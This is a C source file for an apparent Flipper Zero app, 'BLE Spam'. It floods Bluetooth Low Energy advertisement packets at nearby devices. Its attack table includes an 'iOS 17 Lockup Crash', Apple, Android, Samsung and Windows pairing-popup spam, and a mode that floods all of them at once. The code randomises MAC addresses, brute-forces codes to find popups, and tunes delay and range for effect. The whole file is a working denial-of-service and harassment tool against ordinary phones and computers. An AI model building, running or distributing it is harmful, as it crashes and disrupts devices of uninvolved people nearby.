ble_spam.c 23 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670
  1. #include "ble_spam.h"
  2. #include <gui/gui.h>
  3. #include <furi_hal_bt.h>
  4. #include <gui/elements.h>
  5. #include "protocols/_protocols.h"
  6. // Hacked together by @Willy-JL
  7. // Custom adv API by @Willy-JL (idea by @xMasterX)
  8. // iOS 17 Crash by @ECTO-1A
  9. // Android, Samsung and Windows Pairs by @Spooks4576 and @ECTO-1A
  10. // Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576
  11. // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
  12. static Attack attacks[] = {
  13. {
  14. .title = "The Kitchen Sink",
  15. .text = "Flood all attacks at once",
  16. .protocol = NULL,
  17. .payload =
  18. {
  19. .random_mac = true,
  20. .cfg = {},
  21. },
  22. },
  23. {
  24. .title = "iOS 17 Lockup Crash",
  25. .text = "Newer iPhones, long range",
  26. .protocol = &protocol_continuity,
  27. .payload =
  28. {
  29. .random_mac = false,
  30. .cfg.continuity =
  31. {
  32. .type = ContinuityTypeCustomCrash,
  33. .data = {},
  34. },
  35. },
  36. },
  37. {
  38. .title = "Apple Action Modal",
  39. .text = "Lock cooldown, long range",
  40. .protocol = &protocol_continuity,
  41. .payload =
  42. {
  43. .random_mac = false,
  44. .cfg.continuity =
  45. {
  46. .type = ContinuityTypeNearbyAction,
  47. .data = {},
  48. },
  49. },
  50. },
  51. {
  52. .title = "Apple Device Popup",
  53. .text = "No cooldown, close range",
  54. .protocol = &protocol_continuity,
  55. .payload =
  56. {
  57. .random_mac = false,
  58. .cfg.continuity =
  59. {
  60. .type = ContinuityTypeProximityPair,
  61. .data = {},
  62. },
  63. },
  64. },
  65. {
  66. .title = "Android Device Connect",
  67. .text = "Reboot cooldown, long range",
  68. .protocol = &protocol_fastpair,
  69. .payload =
  70. {
  71. .random_mac = true,
  72. .cfg.fastpair = {},
  73. },
  74. },
  75. {
  76. .title = "Samsung Buds Popup",
  77. .text = "No cooldown, long range",
  78. .protocol = &protocol_easysetup,
  79. .payload =
  80. {
  81. .random_mac = true,
  82. .cfg.easysetup =
  83. {
  84. .type = EasysetupTypeBuds,
  85. .data = {},
  86. },
  87. },
  88. },
  89. {
  90. .title = "Samsung Watch Pair",
  91. .text = "No cooldown, long range",
  92. .protocol = &protocol_easysetup,
  93. .payload =
  94. {
  95. .random_mac = true,
  96. .cfg.easysetup =
  97. {
  98. .type = EasysetupTypeWatch,
  99. .data = {},
  100. },
  101. },
  102. },
  103. {
  104. .title = "Windows Device Found",
  105. .text = "No cooldown, short range",
  106. .protocol = &protocol_swiftpair,
  107. .payload =
  108. {
  109. .random_mac = true,
  110. .cfg.swiftpair = {},
  111. },
  112. },
  113. };
  114. #define ATTACKS_COUNT ((signed)COUNT_OF(attacks))
  115. static uint16_t delays[] = {20, 50, 100, 200};
  116. typedef struct {
  117. Ctx ctx;
  118. View* main_view;
  119. bool lock_warning;
  120. uint8_t lock_count;
  121. FuriTimer* lock_timer;
  122. bool resume;
  123. bool advertising;
  124. uint8_t delay;
  125. FuriThread* thread;
  126. int8_t index;
  127. bool ignore_bruteforce;
  128. } State;
  129. const NotificationSequence solid_message = {
  130. &message_red_0,
  131. &message_green_255,
  132. &message_blue_255,
  133. &message_do_not_reset,
  134. &message_delay_10,
  135. NULL,
  136. };
  137. NotificationMessage blink_message = {
  138. .type = NotificationMessageTypeLedBlinkStart,
  139. .data.led_blink.color = LightBlue | LightGreen,
  140. .data.led_blink.on_time = 10,
  141. .data.led_blink.period = 100,
  142. };
  143. const NotificationSequence blink_sequence = {
  144. &blink_message,
  145. &message_do_not_reset,
  146. NULL,
  147. };
  148. static void start_blink(State* state) {
  149. uint16_t period = delays[state->delay];
  150. if(period <= 100) period += 30;
  151. blink_message.data.led_blink.period = period;
  152. notification_message_block(state->ctx.notification, &blink_sequence);
  153. }
  154. static void stop_blink(State* state) {
  155. notification_message_block(state->ctx.notification, &sequence_blink_stop);
  156. }
  157. static int32_t adv_thread(void* _ctx) {
  158. State* state = _ctx;
  159. uint8_t size;
  160. uint16_t delay;
  161. uint8_t* packet;
  162. uint8_t mac[GAP_MAC_ADDR_SIZE];
  163. Payload* payload = &attacks[state->index].payload;
  164. const Protocol* protocol = attacks[state->index].protocol;
  165. if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
  166. if(state->ctx.led_indicator) start_blink(state);
  167. while(state->advertising) {
  168. if(protocol) {
  169. if(payload->mode == PayloadModeBruteforce && payload->bruteforce.counter++ >= 10) {
  170. payload->bruteforce.counter = 0;
  171. payload->bruteforce.value =
  172. (payload->bruteforce.value + 1) % (1 << (payload->bruteforce.size * 8));
  173. }
  174. protocol->make_packet(&size, &packet, payload);
  175. } else {
  176. protocols[rand() % protocols_count]->make_packet(&size, &packet, NULL);
  177. }
  178. furi_hal_bt_custom_adv_set(packet, size);
  179. free(packet);
  180. if(payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
  181. delay = delays[state->delay];
  182. furi_hal_bt_custom_adv_start(delay, delay, 0x00, mac, 0x1F);
  183. furi_thread_flags_wait(true, FuriFlagWaitAny, delay);
  184. furi_hal_bt_custom_adv_stop();
  185. }
  186. if(state->ctx.led_indicator) stop_blink(state);
  187. return 0;
  188. }
  189. static void toggle_adv(State* state) {
  190. if(state->advertising) {
  191. state->advertising = false;
  192. furi_thread_flags_set(furi_thread_get_id(state->thread), true);
  193. furi_thread_join(state->thread);
  194. if(state->resume) furi_hal_bt_start_advertising();
  195. } else {
  196. state->advertising = true;
  197. state->resume = furi_hal_bt_is_active();
  198. furi_hal_bt_stop_advertising();
  199. furi_thread_start(state->thread);
  200. }
  201. }
  202. #define PAGE_MIN (-5)
  203. #define PAGE_MAX ATTACKS_COUNT
  204. enum {
  205. PageHelpBruteforce = PAGE_MIN,
  206. PageHelpApps,
  207. PageHelpDelay,
  208. PageHelpDistance,
  209. PageHelpInfoConfig,
  210. PageStart = 0,
  211. PageEnd = ATTACKS_COUNT - 1,
  212. PageAboutCredits = PAGE_MAX,
  213. };
  214. static void draw_callback(Canvas* canvas, void* _ctx) {
  215. State* state = *(State**)_ctx;
  216. const char* back = "Back";
  217. const char* next = "Next";
  218. if(state->index < 0) {
  219. back = "Next";
  220. next = "Back";
  221. }
  222. switch(state->index) {
  223. case PageStart - 1:
  224. next = "Spam";
  225. break;
  226. case PageStart:
  227. back = "Help";
  228. break;
  229. case PageEnd:
  230. next = "About";
  231. break;
  232. case PageEnd + 1:
  233. back = "Spam";
  234. break;
  235. }
  236. const Attack* attack =
  237. (state->index >= 0 && state->index <= ATTACKS_COUNT - 1) ? &attacks[state->index] : NULL;
  238. const Payload* payload = attack ? &attack->payload : NULL;
  239. const Protocol* protocol = attack ? attack->protocol : NULL;
  240. canvas_set_font(canvas, FontSecondary);
  241. canvas_draw_icon(canvas, 4 - !protocol, 3, protocol ? protocol->icon : &I_ble_spam);
  242. canvas_draw_str(canvas, 14, 12, "BLE Spam");
  243. switch(state->index) {
  244. case PageHelpBruteforce:
  245. canvas_set_font(canvas, FontBatteryPercent);
  246. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  247. elements_text_box(
  248. canvas,
  249. 4,
  250. 16,
  251. 120,
  252. 48,
  253. AlignLeft,
  254. AlignTop,
  255. "\e#Bruteforce\e# cycles codes\n"
  256. "to find popups, hold left and\n"
  257. "right to send manually and\n"
  258. "change delay",
  259. false);
  260. break;
  261. case PageHelpApps:
  262. canvas_set_font(canvas, FontBatteryPercent);
  263. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  264. elements_text_box(
  265. canvas,
  266. 4,
  267. 16,
  268. 120,
  269. 48,
  270. AlignLeft,
  271. AlignTop,
  272. "\e#Some Apps\e# interfere\n"
  273. "with the attacks, stay on\n"
  274. "homescreen for best results",
  275. false);
  276. break;
  277. case PageHelpDelay:
  278. canvas_set_font(canvas, FontBatteryPercent);
  279. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  280. elements_text_box(
  281. canvas,
  282. 4,
  283. 16,
  284. 120,
  285. 48,
  286. AlignLeft,
  287. AlignTop,
  288. "\e#Delay\e# is time between\n"
  289. "attack attempts (top right),\n"
  290. "keep 20ms for best results",
  291. false);
  292. break;
  293. case PageHelpDistance:
  294. canvas_set_font(canvas, FontBatteryPercent);
  295. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  296. elements_text_box(
  297. canvas,
  298. 4,
  299. 16,
  300. 120,
  301. 48,
  302. AlignLeft,
  303. AlignTop,
  304. "\e#Distance\e# varies greatly:\n"
  305. "some are long range (>30 m)\n"
  306. "others are close range (<1 m)",
  307. false);
  308. break;
  309. case PageHelpInfoConfig:
  310. canvas_set_font(canvas, FontBatteryPercent);
  311. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  312. elements_text_box(
  313. canvas,
  314. 4,
  315. 16,
  316. 120,
  317. 48,
  318. AlignLeft,
  319. AlignTop,
  320. "See \e#more info\e# and change\n"
  321. "\e#attack options\e# by holding\n"
  322. "Ok on each attack page",
  323. false);
  324. break;
  325. case PageAboutCredits:
  326. canvas_set_font(canvas, FontBatteryPercent);
  327. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Credits");
  328. elements_text_box(
  329. canvas,
  330. 4,
  331. 16,
  332. 122,
  333. 48,
  334. AlignLeft,
  335. AlignTop,
  336. "App+Spam: \e#WillyJL\e# XFW\n"
  337. "Apple+Crash: \e#ECTO-1A\e#\n"
  338. "Android+Win: \e#Spooks4576\e#\n"
  339. " Version \e#4.1\e#",
  340. false);
  341. break;
  342. default: {
  343. if(!attack) break;
  344. if(state->ctx.lock_keyboard && !state->advertising) {
  345. // Forgive me Lord for I have sinned by handling state in draw
  346. toggle_adv(state);
  347. }
  348. char str[32];
  349. canvas_set_font(canvas, FontBatteryPercent);
  350. if(payload->mode == PayloadModeBruteforce) {
  351. snprintf(
  352. str,
  353. sizeof(str),
  354. "0x%0*lX",
  355. payload->bruteforce.size * 2,
  356. payload->bruteforce.value);
  357. } else {
  358. snprintf(str, sizeof(str), "%ims", delays[state->delay]);
  359. }
  360. canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
  361. canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
  362. canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
  363. canvas_set_font(canvas, FontBatteryPercent);
  364. if(payload->mode == PayloadModeBruteforce) {
  365. canvas_draw_str_aligned(canvas, 64, 22, AlignCenter, AlignBottom, "Bruteforce");
  366. if(delays[state->delay] < 100) {
  367. snprintf(str, sizeof(str), "%ims>", delays[state->delay]);
  368. } else {
  369. snprintf(str, sizeof(str), "%.1fs>", (double)delays[state->delay] / 1000);
  370. }
  371. uint16_t w = canvas_string_width(canvas, str);
  372. elements_slightly_rounded_box(canvas, 3, 14, 30, 10);
  373. elements_slightly_rounded_box(canvas, 119 - w, 14, 6 + w, 10);
  374. canvas_invert_color(canvas);
  375. canvas_draw_str_aligned(canvas, 5, 22, AlignLeft, AlignBottom, "<Send");
  376. canvas_draw_str_aligned(canvas, 122, 22, AlignRight, AlignBottom, str);
  377. canvas_invert_color(canvas);
  378. } else {
  379. snprintf(
  380. str,
  381. sizeof(str),
  382. "%02i/%02i: %s",
  383. state->index + 1,
  384. ATTACKS_COUNT,
  385. protocol ? protocol->get_name(payload) : "Everything AND");
  386. canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 22, str);
  387. }
  388. canvas_set_font(canvas, FontPrimary);
  389. canvas_draw_str(canvas, 4, 33, attack->title);
  390. canvas_set_font(canvas, FontSecondary);
  391. canvas_draw_str(canvas, 4, 46, attack->text);
  392. elements_button_center(canvas, state->advertising ? "Stop" : "Start");
  393. break;
  394. }
  395. }
  396. if(state->index > PAGE_MIN) {
  397. elements_button_left(canvas, back);
  398. }
  399. if(state->index < PAGE_MAX) {
  400. elements_button_right(canvas, next);
  401. }
  402. if(state->lock_warning) {
  403. canvas_set_font(canvas, FontSecondary);
  404. elements_bold_rounded_frame(canvas, 14, 8, 99, 48);
  405. elements_multiline_text(canvas, 65, 26, "To unlock\npress:");
  406. canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8);
  407. canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8);
  408. canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8);
  409. canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42);
  410. canvas_draw_dot(canvas, 17, 61);
  411. }
  412. }
  413. static bool input_callback(InputEvent* input, void* _ctx) {
  414. View* view = _ctx;
  415. State* state = *(State**)view_get_model(view);
  416. bool consumed = false;
  417. if(state->ctx.lock_keyboard) {
  418. consumed = true;
  419. with_view_model(
  420. state->main_view, State * *model, { (*model)->lock_warning = true; }, true);
  421. if(state->lock_count == 0) {
  422. furi_timer_start(state->lock_timer, 1000);
  423. }
  424. if(input->type == InputTypeShort && input->key == InputKeyBack) {
  425. state->lock_count++;
  426. }
  427. if(state->lock_count >= 3) {
  428. furi_timer_start(state->lock_timer, 1);
  429. }
  430. } else if(
  431. input->type == InputTypeShort || input->type == InputTypeLong ||
  432. input->type == InputTypeRepeat) {
  433. consumed = true;
  434. bool is_attack = state->index >= 0 && state->index <= ATTACKS_COUNT - 1;
  435. Payload* payload = is_attack ? &attacks[state->index].payload : NULL;
  436. bool advertising = state->advertising;
  437. switch(input->key) {
  438. case InputKeyOk:
  439. if(is_attack) {
  440. if(input->type == InputTypeLong) {
  441. if(advertising) toggle_adv(state);
  442. state->ctx.attack = &attacks[state->index];
  443. scene_manager_set_scene_state(state->ctx.scene_manager, SceneConfig, 0);
  444. scene_manager_next_scene(state->ctx.scene_manager, SceneConfig);
  445. } else if(input->type == InputTypeShort) {
  446. toggle_adv(state);
  447. }
  448. }
  449. break;
  450. case InputKeyUp:
  451. if(is_attack) {
  452. if(payload->mode == PayloadModeBruteforce) {
  453. payload->bruteforce.counter = 0;
  454. payload->bruteforce.value =
  455. (payload->bruteforce.value + 1) % (1 << (payload->bruteforce.size * 8));
  456. } else if(state->delay < COUNT_OF(delays) - 1) {
  457. state->delay++;
  458. if(advertising) start_blink(state);
  459. }
  460. }
  461. break;
  462. case InputKeyDown:
  463. if(is_attack) {
  464. if(payload->mode == PayloadModeBruteforce) {
  465. payload->bruteforce.counter = 0;
  466. payload->bruteforce.value =
  467. (payload->bruteforce.value - 1) % (1 << (payload->bruteforce.size * 8));
  468. } else if(state->delay > 0) {
  469. state->delay--;
  470. if(advertising) start_blink(state);
  471. }
  472. }
  473. break;
  474. case InputKeyLeft:
  475. if(input->type == InputTypeLong) {
  476. state->ignore_bruteforce = payload ? (payload->mode != PayloadModeBruteforce) :
  477. true;
  478. }
  479. if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce ||
  480. payload->mode != PayloadModeBruteforce) {
  481. if(state->index > PAGE_MIN) {
  482. if(advertising) toggle_adv(state);
  483. state->index--;
  484. }
  485. } else {
  486. if(!advertising) {
  487. bool resume = furi_hal_bt_is_active();
  488. furi_hal_bt_stop_advertising();
  489. Payload* payload = &attacks[state->index].payload;
  490. const Protocol* protocol = attacks[state->index].protocol;
  491. uint8_t size;
  492. uint8_t* packet;
  493. protocol->make_packet(&size, &packet, payload);
  494. furi_hal_bt_custom_adv_set(packet, size);
  495. free(packet);
  496. uint8_t mac[GAP_MAC_ADDR_SIZE];
  497. furi_hal_random_fill_buf(mac, sizeof(mac));
  498. uint16_t delay = delays[state->delay];
  499. furi_hal_bt_custom_adv_start(delay, delay, 0x00, mac, 0x1F);
  500. if(state->ctx.led_indicator)
  501. notification_message(state->ctx.notification, &solid_message);
  502. furi_delay_ms(10);
  503. furi_hal_bt_custom_adv_stop();
  504. if(state->ctx.led_indicator)
  505. notification_message_block(state->ctx.notification, &sequence_reset_rgb);
  506. if(resume) furi_hal_bt_start_advertising();
  507. }
  508. }
  509. break;
  510. case InputKeyRight:
  511. if(input->type == InputTypeLong) {
  512. state->ignore_bruteforce = payload ? (payload->mode != PayloadModeBruteforce) :
  513. true;
  514. }
  515. if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce ||
  516. payload->mode != PayloadModeBruteforce) {
  517. if(state->index < PAGE_MAX) {
  518. if(advertising) toggle_adv(state);
  519. state->index++;
  520. }
  521. } else if(input->type == InputTypeLong) {
  522. state->delay = (state->delay + 1) % COUNT_OF(delays);
  523. if(advertising) start_blink(state);
  524. }
  525. break;
  526. case InputKeyBack:
  527. if(advertising) toggle_adv(state);
  528. consumed = false;
  529. break;
  530. default:
  531. break;
  532. }
  533. }
  534. view_commit_model(view, consumed);
  535. return consumed;
  536. }
  537. static void lock_timer_callback(void* _ctx) {
  538. State* state = _ctx;
  539. if(state->lock_count < 3) {
  540. notification_message_block(state->ctx.notification, &sequence_display_backlight_off);
  541. } else {
  542. state->ctx.lock_keyboard = false;
  543. }
  544. with_view_model(
  545. state->main_view, State * *model, { (*model)->lock_warning = false; }, true);
  546. state->lock_count = 0;
  547. }
  548. static void tick_event_callback(void* _ctx) {
  549. State* state = _ctx;
  550. bool advertising;
  551. with_view_model(
  552. state->main_view, State * *model, { advertising = (*model)->advertising; }, advertising);
  553. scene_manager_handle_tick_event(state->ctx.scene_manager);
  554. }
  555. static bool back_event_callback(void* _ctx) {
  556. State* state = _ctx;
  557. return scene_manager_handle_back_event(state->ctx.scene_manager);
  558. }
  559. int32_t ble_spam(void* p) {
  560. UNUSED(p);
  561. State* state = malloc(sizeof(State));
  562. state->thread = furi_thread_alloc();
  563. furi_thread_set_callback(state->thread, adv_thread);
  564. furi_thread_set_context(state->thread, state);
  565. furi_thread_set_stack_size(state->thread, 4096);
  566. state->ctx.led_indicator = true;
  567. state->lock_timer = furi_timer_alloc(lock_timer_callback, FuriTimerTypeOnce, state);
  568. state->ctx.notification = furi_record_open(RECORD_NOTIFICATION);
  569. Gui* gui = furi_record_open(RECORD_GUI);
  570. state->ctx.view_dispatcher = view_dispatcher_alloc();
  571. view_dispatcher_enable_queue(state->ctx.view_dispatcher);
  572. view_dispatcher_set_event_callback_context(state->ctx.view_dispatcher, state);
  573. view_dispatcher_set_tick_event_callback(state->ctx.view_dispatcher, tick_event_callback, 100);
  574. view_dispatcher_set_navigation_event_callback(state->ctx.view_dispatcher, back_event_callback);
  575. state->ctx.scene_manager = scene_manager_alloc(&scene_handlers, &state->ctx);
  576. state->main_view = view_alloc();
  577. view_allocate_model(state->main_view, ViewModelTypeLocking, sizeof(State*));
  578. with_view_model(
  579. state->main_view, State * *model, { *model = state; }, false);
  580. view_set_context(state->main_view, state->main_view);
  581. view_set_draw_callback(state->main_view, draw_callback);
  582. view_set_input_callback(state->main_view, input_callback);
  583. view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, state->main_view);
  584. state->ctx.byte_input = byte_input_alloc();
  585. view_dispatcher_add_view(
  586. state->ctx.view_dispatcher, ViewByteInput, byte_input_get_view(state->ctx.byte_input));
  587. state->ctx.submenu = submenu_alloc();
  588. view_dispatcher_add_view(
  589. state->ctx.view_dispatcher, ViewSubmenu, submenu_get_view(state->ctx.submenu));
  590. state->ctx.text_input = text_input_alloc();
  591. view_dispatcher_add_view(
  592. state->ctx.view_dispatcher, ViewTextInput, text_input_get_view(state->ctx.text_input));
  593. state->ctx.variable_item_list = variable_item_list_alloc();
  594. view_dispatcher_add_view(
  595. state->ctx.view_dispatcher,
  596. ViewVariableItemList,
  597. variable_item_list_get_view(state->ctx.variable_item_list));
  598. view_dispatcher_attach_to_gui(state->ctx.view_dispatcher, gui, ViewDispatcherTypeFullscreen);
  599. scene_manager_next_scene(state->ctx.scene_manager, SceneMain);
  600. view_dispatcher_run(state->ctx.view_dispatcher);
  601. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewByteInput);
  602. byte_input_free(state->ctx.byte_input);
  603. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewSubmenu);
  604. submenu_free(state->ctx.submenu);
  605. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewTextInput);
  606. text_input_free(state->ctx.text_input);
  607. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewVariableItemList);
  608. variable_item_list_free(state->ctx.variable_item_list);
  609. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewMain);
  610. view_free(state->main_view);
  611. scene_manager_free(state->ctx.scene_manager);
  612. view_dispatcher_free(state->ctx.view_dispatcher);
  613. furi_record_close(RECORD_GUI);
  614. furi_record_close(RECORD_NOTIFICATION);
  615. furi_timer_free(state->lock_timer);
  616. furi_thread_free(state->thread);
  617. free(state);
  618. return 0;
  619. }